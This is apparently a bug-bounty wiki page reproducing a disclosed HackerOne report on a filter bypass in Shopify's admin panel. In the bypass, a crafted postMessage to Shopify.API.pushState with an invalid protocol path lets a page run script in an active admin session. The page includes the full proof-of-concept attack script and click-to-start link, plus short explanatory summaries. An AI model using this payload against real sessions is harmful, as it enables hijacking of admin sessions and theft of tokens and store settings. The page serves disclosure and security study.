Inject page in admin panel via Shopify.API.pushState with protocol invalid
A filter that was meant to validate the path passed to Shopify.API.pushState did not correctly reject an invalid protocol, so a crafted path could still be pushed into the admin panel. An attacker could use this to run script in an active admin session and extract data such as tokens and store configuration.
Originally disclosed on HackerOne
- Triaged in 5 days
- Fixed in 20 days
- Paid in 5 days
- Disclosed after 8 months
Disclose Token in reports
Summary
Some time, i found a bug the #662083. Today I found a new payload, invalid protocol are not tested correctly in filter method.
Step to Reproduce
See the steps in #662083, but with payload of step 02 replace to:
<script>
function attack(){
const ctx = window.open(location.origin+'/admin/themes', '_blank')
const data = JSON.stringify({
message: 'Shopify.API.pushState',
data: {pathname: "invalid:pages/xss"}
});
let interval;
interval = setInterval(function(){
if (window.attackSuccess) {
clearInterval(interval)
} else {
ctx.postMessage(data)
}
}, 500)
}
attack()
</script>
<a href="javascript:attack()" style="display:block;text-align:center;width:100%;height:300px;line-height:300px;background:#000;color:#fff;">click me start attack</a>
Impact
Abuse the active admin session to extract data as:
Get tokens. Store config.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could abuse an active admin session to extract data such as tokens and store configuration.
What the attacker needed
Victim clicks the link
How it was found
- Open the admin themes page in a new window from the attacker page.
- Repeatedly send a postMessage with the Shopify.API.pushState message and a path containing an invalid protocol.
- Click the link on the attacker page to start the attack.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A page can open the admin themes page and send it messages. The check on the path was incomplete, so an invalid protocol slipped through. This could let an attacker abuse an active admin session to extract data.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.